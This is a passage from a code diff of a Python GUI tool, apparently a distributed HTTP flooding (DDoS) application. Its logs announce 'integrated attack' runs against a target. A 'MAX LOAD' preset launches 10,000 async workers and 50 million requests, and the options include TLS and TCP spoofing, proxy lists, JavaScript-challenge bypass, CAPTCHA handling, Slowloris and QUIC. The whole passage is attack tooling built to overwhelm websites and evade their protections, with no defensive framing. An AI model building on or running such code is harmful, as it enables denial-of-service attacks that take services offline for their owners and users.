self._log(f"[!] Worker {worker_id} exception: {exc}", "ERROR")
|
| 3683 |
+
continue
|
|
|
|
|
|
|
| 3684 |
async def _handle_response(self, status: int, content_len: int = 0, latency_ms: float = 0.0):
|
| 3685 |
with self.lock:
|
| 3686 |
self.stats[f'status_{status}'] += 1
|
|
|
|
| 3730 |
self._log(f"[!] HTTP/2 disabled because requested threads ({self.requested_threads}) exceed 100. Using HTTP/1.1 for stability.", "WARNING")
|
| 3731 |
self._log(f"🔥 Starting integrated attack on {self.target}", "ATTACK")
|
| 3732 |
self._log(f"🧵 Threads: {self.threads} | Duration: {self.duration}s", "INFO")
|
| 3733 |
+
workers = [asyncio.create_task(self._attack_worker(i)) for i in range(self.threads)]
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3734 |
self.workers = workers
|
| 3735 |
self.loop = asyncio.get_running_loop()
|
| 3736 |
try:
|
|
|
|
| 3823 |
self.use_tcp_spoof = tk.BooleanVar(value=True)
|
| 3824 |
self.use_ai_payload = tk.BooleanVar(value=True)
|
| 3825 |
self.use_captcha = tk.BooleanVar(value=True)
|
|
|
|
|
|
|
| 3826 |
|
| 3827 |
self.use_keepalive = tk.BooleanVar(value=True)
|
| 3828 |
self.use_http2 = tk.BooleanVar(value=False)
|
|
|
|
| 3994 |
self.auto_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
|
| 3995 |
self.stop_btn = ttk.Button(control_buttons, text='STOP', command=self.stop_attack, style='Danger.TButton', state=tk.DISABLED)
|
| 3996 |
self.stop_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
|
| 3997 |
+
self.bypass_btn = ttk.Button(control_buttons, text='JS Bypass OFF', command=self.toggle_bypass, style='Secondary.TButton')
|
| 3998 |
+
self.bypass_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
|
| 3999 |
|
| 4000 |
options_card = ttk.Labelframe(left_panel, text='Quick Options', padding=14, style='Card.TLabelframe')
|
| 4001 |
options_card.pack(fill=tk.X, expand=False, pady=(12, 0))
|
|
|
|
| 4007 |
('Human Timing', self.use_human_timing),
|
| 4008 |
('TLS Spoof', self.use_cffi),
|
| 4009 |
('JS Bypass (API)', self.use_js_bypass),
|
|
|
|
|
|
|
| 4010 |
('TCP Spoof', self.use_tcp_spoof),
|
| 4011 |
('AI Payload', self.use_ai_payload),
|
| 4012 |
('CAPTCHA', self.use_captcha),
|
|
|
|
| 4128 |
self.log(f"📁 Proxy file loaded: {filename}", "INFO")
|
| 4129 |
def set_max_load(self):
|
| 4130 |
self.mode_var.set("Integrated")
|
| 4131 |
+
self.threads.set(10000)
|
| 4132 |
self.duration.set(0)
|
| 4133 |
+
self.requests.set(50000000)
|
| 4134 |
+
self.method.set("GET")
|
| 4135 |
self.request_rate.set(0)
|
| 4136 |
self.vpn_mode.set("System Default")
|
|
|
|
| 4137 |
self.use_identities.set(True)
|
| 4138 |
+
self.use_human_timing.set(False)
|
| 4139 |
self.use_cffi.set(True)
|
| 4140 |
+
self.use_js_bypass.set(False)
|
| 4141 |
+
self.use_tcp_spoof.set(True)
|
| 4142 |
self.use_ai_payload.set(True)
|
| 4143 |
self.use_captcha.set(False)
|
| 4144 |
+
|
| 4145 |
self.use_keepalive.set(True)
|
|
|
|
|
|
|
| 4146 |
self.max_load.set(True)
|
| 4147 |
+
self.use_http2.set(True)
|
| 4148 |
+
self.use_random_query.set(True)
|
| 4149 |
+
self.log("🚀 MAX LOAD ACTIVATED: 10,000 Async Workers, TLS Spoof ON, HTTP/2 ON, Slowloris + QUIC ON.", "SUCCESS")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 4150 |
|
| 4151 |
def _find_executable(self, names, extra_paths=None):
|
| 4152 |
found = []
|
|
|
|
| 4843 |
use_tcp_spoof=self.use_tcp_spoof.get(),
|
| 4844 |
use_ai_payload=self.use_ai_payload.get(),
|
| 4845 |
use_captcha=self.use_captcha.get(),
|
|
|
|
|
|
|
| 4846 |
|
| 4847 |
keepalive=self.use_keepalive.get(),
|
| 4848 |
use_http2=self.use_http2.get(),
|